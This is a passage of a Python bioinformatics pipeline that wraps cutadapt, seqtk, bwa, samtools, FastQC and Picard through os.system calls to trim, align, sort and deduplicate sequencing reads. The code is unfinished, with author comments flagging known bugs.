1.8 include commas as thousand separators, which breaks the \"End_analysis\" function.\n    IMPORTANT: File names cannot include the character %.\n\n    Input:\n    bar_S10_L001_R1_001.fastq.gz\n    OR\n    bar_S10_L001_R1_001.fastq\n\n    Output:\n    bar%S10_L001_R1_001.trimmed.fastq\n    bar%S10_L001_R1_001.trimmed.log\n\n    Example:\n    >>> cutadapt()\n    \"\"\"\n    cwd = os.getcwd()\n    # print(\"> Current working directory is: \",cwd)\n    print(\"\\n< CUTADAPT - Removing adapters >\")\n    fout.write(\"\\n< CUTADAPT - Removing adapters >\\n\")\n    fastqGzCount = 0\n    fastqCount = 0\n    nThreads = str(nThreads)\n    print(\n        \"ATTENTION: Cutadapt for paired-end data, as of now, requires the user to manually edit the names of the input 'fastq.gz' file as 'NAME_L1_P1.fastq.gz', 'NAME_L1_P2.fastq.gz', etc.\")\n    # print(\"ATTENTION: Cutadapt for paired-end data, as of now, only works for one sample per folder. Please create a folder for each sample.\")\n\n    if seqType == \"singleEnd\":\n        for i in os.listdir(cwd):\n            if 'fastq.gz' in i:\n                fastqGzCount += 1\n                if seqPlatform == \"MiSeq\":\n                    sample_idd, sep, rest = i.partition('_L001')\n                    if sample_idd[-2:].isdigit() == True:\n                        sample_id = sample_idd[:-4]\n                    else:\n                        sample_id = sample_idd[:-3]\n                elif seqPlatform == \"NextSeq\":\n                    sample_id, sep, rest = i.partition('_R1_001')\n\n                ## For MiSeq\n                ## Deletes duplicate normal '*.fastq' file if one with the divider '%' already exists\n                if seqPlatform == \"MiSeq\":\n                    ############ This first statement might be bugged\n                    print(sample_id + '%' + rest)\n                    directory = os.listdir(cwd)\n                    print(\"Renaming\", i)\n                    os.rename(directory[directory.index(i)], sample_id + '%' + rest)\n\n                ## For NextSeq\n                ## Deletes duplicate normal '*.fastq' file if one with the divider '%' already exists\n                elif seqPlatform == \"NextSeq\":\n                    print(\"I=\",i)\n                    print(sample_id + '%' + sep + rest)\n                    if \"%\" not in i:\n                        print(\"HERE\")\n                        print(\"Renaming\", i)\n                        directory = os.listdir(cwd)\n                        os.rename(directory[directory.index(i)], sample_id + '%' + sep + rest)\n\n        for i in os.listdir(cwd):\n            # if '.fastq' in i and '.trimmed' not in i:\n            if '.fastq.gz' in i and '.trimmed' not in i and \"%\" in i:\n                # fastqCount += 1\n                s, sep, r = i.partition('%')\n                ## Adapter sequence is the sequence of the IS3 adapter (13bp), extended with the remaining complement from IS2, totalling 33bp\n                ## As a note, IS1 and IS2 are inverted complements\n                ## IS3     5? AGATCGGAAGAGC ACACGTCTGAACTCCAGTCAC 3?\n                ## IS2     3? TCTAGCCTTCTCG TGTGCAGACTTGAGGTCAGTG 5?\n                if sep == '%':\n                    fastqCount += 1\n                    print(\"\\t> Cutting adapters from file \" + \"'\" + i + \"'\" + \"...\")\n                    fout.write(\"\\t> Cutting adapters from file \" + \"'\" + i + \"'\" + \"...\\n\")\n                    print('\\tcutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -O 1 -j ' + nThreads +' -m 17 ' + i + ' > ' + i[:-9] + '.trimmed.log' + \"\\n\")\n                    fout.write(time.strftime(\"\\t%H:%M:%S %Z\") + '\\tcutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -O 1 -j ' + nThreads + ' -m 17 ' + i + ' > ' + i[:-9] + '.trimmed.fastq' + ' 2> ' + i[:-9] + '.trimmed.log' + \"\\n\\n\")\n                    os.system('cutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -O 1 -j ' + nThreads + ' -m 17 ' + i + ' > ' + i[:-9] + '.trimmed.fastq' + ' 2> ' + i[:-9] + '.trimmed.log')\n\n#    ISSUES HERE!!! UP\n\n\n                    # fout = open(s+'_commands.txt', 'w') #s makes one file per sample\n                    # with open(sample_id+'_commands.txt', 'w') as fout:\n\n    elif seqType == \"pairedEnd\":\n        listSamps = []\n        for i in os.listdir(cwd):\n            if '.fastq.gz' in i and '.trimmed' not in i:\n                s, r = re.split(\"_P\\d\", i)\n                listSamps.append(s)\n        for i in set(listSamps):\n            #            if '.fastq.gz' in i and '.trimmed' not in i:\n            # fastqCount += 1\n            # print(i)\n            s1 = str(i + \"_P1.fastq.gz\")\n            s2 = str(i + \"_P2.fastq.gz\")\n            # s, sep, r = i.partition('_P1')\n            # s, sep, r = re.split(\"_P1\\d\",i,1)\n            ## Adapter sequence is the sequence of the IS3 adapter (13bp), extended with the remaining complement from IS2, totalling 33bp\n            ## As a note, IS1 and IS2 are inverted complements\n            ## IS3     5? AGATCGGAAGAGC ACACGTCTGAACTCCAGTCAC 3?\n            ## IS2     3? TCTAGCCTTCTCG TGTGCAGACTTGAGGTCAGTG 5?\n            #                if sep == '%':\n            if s1 and s2 in os.listdir(cwd):\n                fastqCount += 1\n                print(\"\\t> Cutting adapters from file \" + \"'\" + i + \"'\" + \"...\")\n                fout.write(\"\\t> Cutting adapters from file \" + \"'\" + i + \"'\" + \"...\\n\")\n                print(\n                    '\\tcutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -A AGATCGGAAGAGC -O 1 -m 17 -o ' + i + \"P1%trimmed.fastq -p \" + i + \"P2%trimmed.fastq \" + i + \"_P1.fastq.gz \" + i + \"_P1.fastq.gz > \" + i + \".trimmed.log\" + \"\\n\")\n                fout.write(time.strftime(\n                    \"\\t%H:%M:%S %Z\") + '\\tcutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -A AGATCGGAAGAGC -O 1 -m 17 -o ' + i + \"P1%trimmed.fastq -p \" + i + \"P2%trimmed.fastq \" + i + \"_P1.fastq.gz \" + i + \"_P1.fastq.gz > \" + i + \".trimmed.log\" + \"\\n\\n\")\n                os.system(\n                    'cutadapt -a AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC -A AGATCGGAAGAGC -O 1 -m 17 -o ' + i + \"P1%trimmed.fastq -p \" + i + \"P2%trimmed.fastq \" + i + \"_P1.fastq.gz \" + i + \"_P1.fastq.gz > \" + i + \".trimmed.log\")\n\n                # fout = open(s+'_commands.txt', 'w') #s makes one file per sample\n                # with open(sample_id+'_commands.txt', 'w') as fout:\n\n    # os.chdir(originalWD)\n    # cwd = os.getcwd()\n    # print(\"\\n\\t< Collecting data... >\")\n    # fout.write(\"\\n\\t< Collecting data... >\")\n    if seqType == \"pairedEnd\":\n        print(\"\\n\\t< 'Data collection' not available for paired end reads...Yet. >\")\n        fout.write(\"\\n\\t< 'Data collection' not available for paired end reads...Yet. >\")\n\n    elif seqType == \"singleEnd\":\n        cutout = open('Cutadapt_Summary.txt', 'w')\n        cutout.write(\"Sample\\tTotal_reads\\tTrimmed_reads\\tNum_lanes\\n\")\n\n        ## For MiSeq\n        if seqPlatform == \"MiSeq\":\n            sampleDict = {}\n            for i in os.listdir(cwd):\n                #print(i)\n                # ja = re.search(r'_S\\d\\d_L\\d\\d\\d\\.q30\\.rmdup\\.bam$', i)\n                ja = re.search(r'%_R1_\\d\\d\\d\\.trimmed\\.log$', i)\n                ba = re.search(r'_S\\d{1,2}_L\\d\\d\\d%_R1_\\d\\d\\d\\.', i)\n                if ja is not None and ba is None:\n                    sampleName = i[:ja.start()]\n                    #print(sampleName)\n\n                    if sampleName in sampleDict.keys():\n                        if i in sampleDict[sampleName]:\n                            pass\n\n                        else:\n                            sampleDict[sampleName].append(i)\n                            #print(\"b\")\n                    else:\n                        sampleDict[sampleName] = [i]\n        ## For NextSeq\n        elif seqPlatform == \"NextSeq\":\n            sampleDict = {}\n            for i in os.listdir(cwd):\n                #print(i)\n                # ja = re.search(r'_S\\d\\d_L\\d\\d\\d\\.q30\\.rmdup\\.bam$', i)\n                ja = re.search(r'_S\\d{1,2}_L\\d\\d\\d%_R1_\\d\\d\\d\\.trimmed\\.log$', i)\n                #print(ja)\n                #ba = re.search(r'\\.trimmed\\.log$', i)\n                #if ja is not None and ba is None:\n                if ja is not None:\n                    sampleName = i[:ja.start()]\n                    print(sampleName)\n\n                    if sampleName in sampleDict.keys():\n                        if i in sampleDict[sampleName]:\n                            pass\n\n                        else:\n                            sampleDict[sampleName].append(i)\n                            print(\"b\")\n                    else:\n                        sampleDict[sampleName] = [i]\n\n            #print(sampleDict)\n\n        for i in sampleDict.keys():\n            print(\"\\n\\t< Collecting data for sample \"+i+\" >\")\n            fout.write(\"\\n\\t< Collecting data for sample \"+i+\" >\")\n            procReadsTot = []\n            trimReadsTot = []\n            for a in sampleDict[i]:\n                print(\"\\tFrom \" + a + \"...\")\n                fout.write(\"\\tFrom  \" + a + \"...\")\n                ## Processed and trimmed reads\n                with open(a, 'r') as fin:\n                    for line in fin:\n                        ## Processed reads\n                        if \"Total reads processed:\" in line:\n                            text = line.split()\n                            ba = text[3]\n                            ba = ba.replace(',', '')\n                            procReadsTot.append(int(ba))\n                        ## Trimmed reads\n                        if \"Reads with adapters:\" in line:\n                            text = line.split()\n                            ca = text[3]\n                            ca = ca.replace(',', '')\n                            trimReadsTot.append(int(ca))\n                            #print(\"Trimmed reads: \"+ca)\n            cutout.write(i + \"\\t\" + str(sum(procReadsTot)) + \"\\t\" + str(sum(trimReadsTot)) + \"\\t\" + str(len(procReadsTot)) + \"\\n\")\n\n\n    if fastqGzCount == 0 and fastqCount == 0:\n        print(\"\\n\\t> ERROR: No '.fastq.gz' or '.fastq' files in folder. Cutadapt aborted...\")\n        fout.write(time.strftime(\n            \"\\n\\t%H:%M:%S %Z \") + \"> ERROR: No '.fastq.gz' or '.fastq' files in folder. Cutadapt aborted...\\n\")\n    else:\n        print(\"\\t> Adatper sequences removal... Done!\\n\\t-----\")\n        fout.write(\"\\t> Adatper sequences removal... Done!\\n\\t-----\\n\")\n\n\ndef trimFastq(bp):\n    # def trimFastq(group_tag):\n    \"\"\"\n    Removes the 2 base pairs at both ends of each read.\n    WARNING: Currently breaks the downstream analysis as output is not automatically recognized.\n\n    :param bp:\n    (int) number of bases to trim at each end of each read.\n\n    Input:\n    foo%S10_L001_R1_001.trimmed.fastq\n\n    Output:\n    foo.seqtk.fastq\n    foo.seqtk.log\n\n    Example:\n    >>> trimFastq(2)\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    trimmedCount = 0\n\n    for i in os.listdir(cwd):\n        if re.search(\"trimmed.fastq\", i) != None:\n            trimmedCount += 1\n            sample_id, rest = i.split('%')\n            print(\"\\t> Trimming terminal bases from sequences from \" + \"'\" + i + \"'\" + \"...\")\n            # print('samtools bam2fq '+i+' > '+sample_id+'.fastq')\n            # os.system('samtools bam2fq '+i+' > '+sample_id+'.fastq')\n            print('\\tseqtk trimfq -b ' + str(bp) + ' -e ' + str(\n                bp) + ' ' + i + ' > ' + sample_id + '%seqtk.fastq' + ' 2> ' + sample_id + '%seqtk.log' + \"\\n\")\n            os.system('seqtk trimfq -b ' + str(bp) + ' -e ' + str(\n                bp) + ' ' + i + ' > ' + sample_id + '%seqtk.fastq' + ' 2> ' + sample_id + '%seqtk.log')\n            fout.write(\n                \"\\n\\t> Trimming terminal bases from sequences from \" + \"'\" + sample_id + \"'\" + \"...\" + time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + '\\tseqtk trimfq -b ' + str(bp) + ' -e ' + str(\n                    bp) + ' ' + i + ' > ' + sample_id + '%seqtk.fastq' + ' 2> ' + sample_id + '%seqtk.log' + \"\\n\")\n            seqtkSim = 1\n\n    if trimmedCount == 0:\n        print(\"\\t> ERROR: No 'trimmed.fastq' files in folder. No sequences to trim. Trimming aborted...\")\n        fout.write(time.strftime(\n            \"\\n\\t%H:%M:%S %Z \") + \"> ERROR: No 'trimmed.fastq' files in folder. No sequences to trim. Trimming aborted...\\n\")\n\n    else:\n        print(\"\\t> Terminal bases trimming... Done!\\n\\t-----\")\n        fout.write(\"\\n\\t> Terminal bases trimming... Done!\\n\\t-----\\n\")\n\n\ndef bwaAlign(ref_gen, nThreads = 1, overwrite=False):\n    \"\"\"\n    (path [,int,boolean]) -> various_files\n\n    Aligns the 'trimmed.fastq' files in current folder to the indexed genome 'ref_gen'. Path must be inside quotation marks.\n    Argument 'overwrite' is optional and 'False' by default.\n\n    :param ref_gen:\n    (str) path to reference genome.\n\n    :param nThreads:\n    (int) number of CPU execution threads.\n\n    :param overwrite:\n    (boolean) overwrite existing *.sai files?\n\n    Input:\n    foo%S10_L001_R1_001.trimmed.fastq\n\n    Output:\n    foo.sai\n    foo.bwa_aln.log\n\n    Example:\n    >>> bwaAlign(ref_gen='/home/dfernandes/NGSdata/Indexes/chroms_hg38/full_karyo.fa', nThreads=6, overwrite=True)\n    \"\"\"\n\n    cwd = os.getcwd()\n    # print(\"> Current working directory is: \",cwd)\n    print(\"\\n< BWA - Aligning to ref genome >\")\n    fout.write(\"\\n< BWA - Aligning to ref genome >\")\n\n    if seqtkSim == 1:\n        fileExp = \"seqtk.fastq$\"\n    else:\n        fileExp = \"trimmed.fastq$\"\n\n    ## Aligning the cutadapt-trimmed files to the reference genome\n    trimmedCount = 0\n    nThreads = str(nThreads)\n    ##### TRY NEW IDENTIFIER!\n    for i in os.listdir(cwd):\n        if re.search(fileExp, i) != None:\n            trimmedCount += 1\n            sample_id, rest = i.split('%')\n\n            ## Aligning the cutadapt-trimmed files to the reference genome\n            ## Checks if there is already a '.sai' file for the correspondent iterator and 'overwrites' it or not\n            if sample_id + '.sai' in os.listdir(cwd):\n                if overwrite == False:\n                    pass\n                elif overwrite == True:\n                    print(\"\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\")\n                    print(\n                        '\\tbwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log' + \"\\n\")\n                    os.system(\n                        'bwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log')\n                    fout.write(\n                        \"\\n\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\" + '\\n\\tbwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log' + \"\\n\")\n\n            ## If there is no '.sai' file for this iterator, run normally\n            else:\n                print(\"\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\")\n                print(\n                    '\\tbwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log' + \"\\n\")\n                os.system(\n                    'bwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log')\n                fout.write(\n                    \"\\n\\t> Aligning trimmed sequences from \" + \"'\" + i + \"'\" + \" to reference genome...\" + time.strftime(\n                        \"\\n\\t%H:%M:%S %Z \") + '\\tbwa aln -l 1000 -t ' + nThreads + ' ' + ref_gen + ' ' + i + ' > ' + sample_id + '.sai' + ' 2> ' + sample_id + '.bwa_aln.log' + \"\\n\")\n\n            if sample_id + '.bwa_aln.log' in os.listdir(cwd):\n                with open(sample_id + '.bwa_aln.log', 'r') as fin_log:\n                    file_log = fin_log.readlines()\n                    if any(\"fail to locate the index\" in s for s in file_log):\n                        print(\n                            \"\\t> ERROR: Failed to locate specified index file \" + ref_gen + \". Aborting downstream analysis.\")\n                        fout.write(time.strftime(\n                            \"\\n\\t%H:%M:%S %Z \") + \"\\t> ERROR: Failed to locate specified index file \" + ref_gen + \". Aborting downstream analysis.\")\n                        exit()\n            else:\n                print(\"\\t> Aligning to reference genome... Done!\\n\\t-----\")\n                fout.write(\"\\n\\t> Aligning to reference genome... Done!\\n\\t-----\\n\")\n\n    if trimmedCount == 0:\n        print(\"\\t> ERROR: No 'trimmed.fastq' files in folder. No sequences to align. Aligning aborted...\")\n        fout.write(time.strftime(\n            \"\\n\\t%H:%M:%S %Z \") + \"> ERROR: No 'trimmed.fastq' files in folder. No sequences to align. Aligning aborted...\\n\")\n\n\ndef tagAndConvertSb(ref_gen, group_tag = \"Unnamed\", qualThreshold = 30):\n    \"\"\"\n    (path [,str,int]) -> various_files\n\n    Adds read groups tags and converts SAM to BAM.\n\n    :param ref_gen:\n    (str) path to reference genome.\n\n    :param group_tag:\n    (str) read groups tag for @RG\\tID.\n\n    :param qualThreshold:\n    (int) quality score (QC) filter.\n\n    Input:\n    foo%S10_L001_R1_001.trimmed.fastq\n    foo.sai\n\n    Output:\n    foo.q30.sam\n    foo.q30.bam\n\n    Example:\n    ########>>> bwaAlign('/home/dfernandes/NGSdata/Indexes/chroms_hg38/full_karyo.fa', overwrite=True)\n    \"\"\"\n\n    ### insert 'overwrite' option and file count ERROR\n\n\n    cwd = os.getcwd()\n    print(\"\\n< BWA - Tagging and converting SAM>BAM >\")\n    fout.write(\"\\n< BWA - Tagging and converting SAM>BAM >\")\n\n    if seqtkSim == 1:\n        fileExp = \"seqtk.fastq$\"\n    else:\n        fileExp = \"trimmed.fastq$\"\n    qualThreshold = str(qualThreshold)\n\n\n    if seqType == \"singleEnd\":\n        ## Converting '*.sai' to '*.sam' and sequently '*.bam', and adding tags\n        for i in os.listdir(cwd):\n            if re.search(\".sai$\", i) != None:\n                sample_id = i[:-4]\n\n                for it in os.listdir(cwd):\n                    if '%' in it and sample_id in it and re.search(fileExp, it) != None:\n                        file_id, sep, rest = it.rpartition('%')\n                        if seqtkSim == 0:\n                            if file_id == sample_id and file_id in it and 'trimmed.fastq' in it:\n                                print(\"\\t> Converting \" + i + \" to '.sam' and adding tags...\")\n                                print(\n                                    \"\\t\" + r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam')\n                                os.system(\n                                    r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam')\n                                fout.write(\"\\n\\t> Converting \" + i + \" to '.sam' and adding tags...\" + time.strftime(\n                                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam' + '\\n')\n                                print(\"\\t> Converting \" + sample_id + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\")\n                                print(\n                                    \"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam')\n                                os.system(\n                                    r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam')\n                                fout.write(\"\\t> Converting \" + sample_id + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\" + time.strftime(\n                                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam' + '\\n')\n                                print(\"\\t\")\n                        if seqtkSim == 1:\n                            if file_id == sample_id and file_id in it and 'seqtk.fastq' in it:\n                                print(\"\\t> Converting \" + i + \" to '.sam' and adding tags...\")\n                                print(\n                                    \"\\t\" + r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam')\n                                os.system(\n                                    r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam')\n                                fout.write(\"\\n\\t> Converting \" + i + \" to '.sam' and adding tags...\" + time.strftime(\n                                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"bwa samse -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + sample_id + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + i + ' ' + it + ' > ' + sample_id + '.sam' + '\\n')\n                                print(\"\\t> Converting \" + sample_id + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\")\n                                print(\n                                    \"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam')\n                                os.system(\n                                    r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam')\n                                fout.write(\"\\t> Converting \" + sample_id + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\" + time.strftime(\n                                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + sample_id + \".sam\" + \" > \" + sample_id + '.q'+ qualThreshold + '.bam' + '\\n')\n                                print(\"\\t\")\n\n\n    elif seqType == \"pairedEnd\":\n        listSamps = []\n        for i in os.listdir(cwd):\n            if i[-4:] == \".sai\":\n                s, r = re.split(\"_P\\d\", i)\n                listSamps.append(s)\n        for i in set(listSamps):\n            s1 = str(i + \"_P1.sai\")\n            s2 = str(i + \"_P2.sai\")\n            if seqtkSim == 0:\n                t1 = str(i + \"_P1%trimmed.fastq\")\n                t2 = str(i + \"_P2%trimmed.fastq\")\n            elif seqtkSim == 1:\n                t1 = str(i + \"_P1%seqtk.fastq\")\n                t2 = str(i + \"_P2%seqtk.fastq\")\n            if s1 and s2 and t1 and t2 in os.listdir(cwd):\n                print(\"\\t> Converting \" + i + \" to '.sam' and adding tags...\")\n                print(\n                    \"\\t\" + r\"bwa sampe -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + i + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + s1 + ' ' + s2 + ' ' + t1 + ' ' + t2 + ' > ' + i + '.sam')\n                os.system(\n                    r\"bwa sampe -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + i + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + s1 + ' ' + s2 + ' ' + t1 + ' ' + t2 + ' > ' + i + '.sam')\n                fout.write(\"\\n\\t> Converting \" + i + \" to '.sam' and adding tags...\" + time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"bwa sampe -r '@RG\\tID:\" + group_tag + r\"\\tSM:\" + i + r\"\\tPL:ILLUMINA' \" + ref_gen + ' ' + s1 + ' ' + s2 + ' ' + t1 + ' ' + t2 + ' > ' + i + '.sam' + '\\n')\n                print(\"\\t> Converting \" + i + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\")\n                print(\"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + i + \".sam\" + \" > \" + i + '.q'+ qualThreshold + '.bam')\n                os.system(r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + i + \".sam\" + \" > \" + i + '.q'+ qualThreshold + '.bam')\n                fout.write(\"\\t> Converting \" + i + '.sam' + \" to '.q\" + qualThreshold + \".bam'...\" + time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\"r\"samtools view -Sb -q \"+ qualThreshold + \" -F 4 \" + i + \".sam\" + \" > \" + i + '.q'+ qualThreshold + '.bam' + '\\n')\n                print(\"\\t\")\n\n    print(\"\\t> Tagging and converting... Done!\")\n    fout.write(\"\\n\\t> Tagging and converting... Done!\\n\\t-----\\n\")\n\n\ndef samToolsSort(version=\"1.3.1\"):\n    \"\"\"\n    ([str]) -> various_files\n\n    Sorts the BAM files.\n\n    :param version:\n    (str) samtools' version.\n\n    Input:\n    foo.q30.bam\n\n    Output:\n    foo.q30.sort.bam\n\n    Example:\n    >>> bwaAlign('/home/dfernandes/NGSdata/Indexes/chroms_hg38/full_karyo.fa', overwrite=True)\n    \"\"\"\n\n    cwd = os.getcwd()\n    print(\"\\n< SAMTOOLS - Sorting BAM files >\")\n    fout.write(\"\\n< SAMTOOLS - Sorting BAM files >\")\n\n    if version[0:3] == \"0.1\":\n        for i in os.listdir(cwd):\n            if '.bam' == i[-4:] and '.sort' not in i and '.rmdup' not in i:\n                sample_id = i[:-4]\n                print(\"\\t> Sorting \" + i + \"...\")\n                print(\"\\t\" + 'samtools sort ' + i + ' ' + sample_id + '.sort' + \"\\n\")\n                os.system('samtools sort ' + i + ' ' + sample_id + '.sort')\n                fout.write(\"\\n\\t> Sorting \" + i + \"...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tsamtools sort ' + i + ' ' + sample_id + '.sort' + \"\\n\")\n\n    if version == \"1.3.1\":\n        for i in os.listdir(cwd):\n            if '.bam' == i[-4:] and '.sort' not in i and '.rmdup' not in i:\n                sample_id = i[:-4]\n                print(\"\\t> Sorting \" + i + \"...\")\n                print(\"\\t\" + 'samtools sort ' + i + ' -o ' + sample_id + '.sort.bam' + \"\\n\")\n                os.system('samtools sort ' + i + ' -o ' + sample_id + '.sort.bam')\n                fout.write(\"\\n\\t> Sorting \" + i + \"...\" + time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tsamtools sort ' + i + ' -o ' + sample_id + '.sort.bam' + \"\\n\")\n\n\n    print(\"\\t> Sorting BAM files... Done!\")\n    fout.write(\"\\n\\t> Sorting BAM files... Done!\\n\\t-----\\n\")\n\n\ndef fastqcBeforeRmdup():\n    \"\"\"\n    () -> html,zip\n\n    For current folder, executes FastQC analysis for each 'fastq.gz' file, creating individual folders.\n\n    Input:\n    foo.q30.sort.bam\n\n    Output:\n    foo.q30.sort.zip\n    foo.q30.sort.html\n\n    Example:\n    >>> fastqcBeforeRmdup()\n    \"\"\"\n\n    cwd = os.getcwd()\n\n    ## Fastq Analysis ##\n    print(\"\\n< FASTQC - Quality control analysis >\")\n    fastq_counter = 0\n    for i in os.listdir(cwd):\n        if '.sort.bam' in i:\n            fastq_counter += 1\n\n    if fastq_counter == 0:\n        print(\"\\t> ERROR: No '.sort.bam' files in current directory. Skipping fastqc analysis...\")\n    else:\n        for i in os.listdir(cwd):\n            if '.sort.bam' == i[-9:]:\n                sample_id = i[:-9]\n                print('\\t> FastQC analysis running for sample: ', sample_id)\n                os.system('fastqc ' + i)\n\n\n        print(\"\\t> Fastqc Analysis...Done!\")\n\n\ndef rmvDups(picard=False):\n    \"\"\"\n    ([boolean]) -> various_files\n\n    Removes duplicated sequences using SAMTOOLS or PICARD/GATK.\n\n    Input:\n    foo.q30.sort.bam\n\n    Output:\n    foo.q30.rmdup.bam\n\n    Example:\n    ######>>> bwaAlign('/home/dfernandes/NGSdata/Indexes/chroms_hg38/full_karyo.fa', overwrite=True)\n    \"\"\"\n\n    cwd = os.getcwd()\n    print(\"\\n< SAMTOOLS - Removing duplicates >\")\n    fout.write(\"\\n< SAMTOOLS - Removing duplicates >\")\n\n    ## Selects whether to use Picard or Samtools\n    if picard == True:\n        for i in os.listdir(cwd):\n            if '.sort.bam' == i[-9:]:\n                sample_id = i[:-9]\n                print(\"\\t> Removing duplicates using Picard from file \" + i + \"...\")\n                print(\n                    \"\\t\" + 'picard.jar MarkDuplicates I=' + i + ' O=' + sample_id + '.rmdup.bam METRICS_FILE=' + sample_id + '_metrics.txt')\n                os.system(\n                    'picard.jar MarkDuplicates I=' + i + ' O=' + sample_id + '.rmdup.bam METRICS_FILE=' + sample_id + '_metrics.txt')\n                fout.write(\"\\n\\t> Removing duplicates from file \" + i + \"using PicardTools...\" + time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'picard.jar MarkDuplicates I=' + i + ' O=' + sample_id + '.rmdup.bam METRICS_FILE=' + sample_id + '_metrics.txt' + '\\n')\n                print(\"\\t\")\n\n    elif picard == False:\n        for i in os.listdir(cwd):\n            if '.sort.bam' == i[-9:]:\n                sample_id = i[:-9]\n                print(\"\\t> Removing duplicates from file \" + i + \"...\")\n                print(\"\\t\" + 'samtools rmdup -s ' + i + ' ' + sample_id + '.rmdup.bam')\n                os.system('samtools rmdup -s ' + i + ' ' + sample_id + '.rmdup.bam')\n                fout.write(\"\\n\\t> Removing duplicates from file \" + i + \"...\" + time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + 'samtools rmdup -s ' + i + ' ' + sample_id + '.rmdup.bam' + '\\n')\n                print(\"\\t\")\n\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            sample_id = i[:-10]\n            os.system('samtools flagstat ' + i + ' > ' + sample_id + '.summary.txt')\n            print(\"\\t> Generating 'flagstats' summary file for \" + i + \"...\")\n            print('\\tsamtools flagstat ' + i + ' > ' + sample_id + '.summary.txt\\n')\n            fout.write(\"\\n\\t> Generating 'flagstats' summary file for \" + i + \"...\" + time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + '\\tsamtools flagstat ' + i + ' > ' + sample_id + '.summary.txt\\n')\n\n    print(\"\\t> Removing duplicates... Done!\")\n    fout.write((\"\\n\\t> Removing duplicates... Done!\\n\\t-----\\n\"))\n\n\ndef makeIndexBam():\n    \"\"\"\n\n    Input:\n    foo.q30.rmdup.bam\n\n    Output:\n    foo.q30.rmdup.bam.bai\n    \"\"\"\n\n    cwd = os.getcwd()\n    print(\"\\n< SAMTOOLS - Indexing BAM files >\")\n    fout.write((\"\\n< SAMTOOLS - Indexing BAM files >\"))\n\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            sample_id = i[:-10]\n            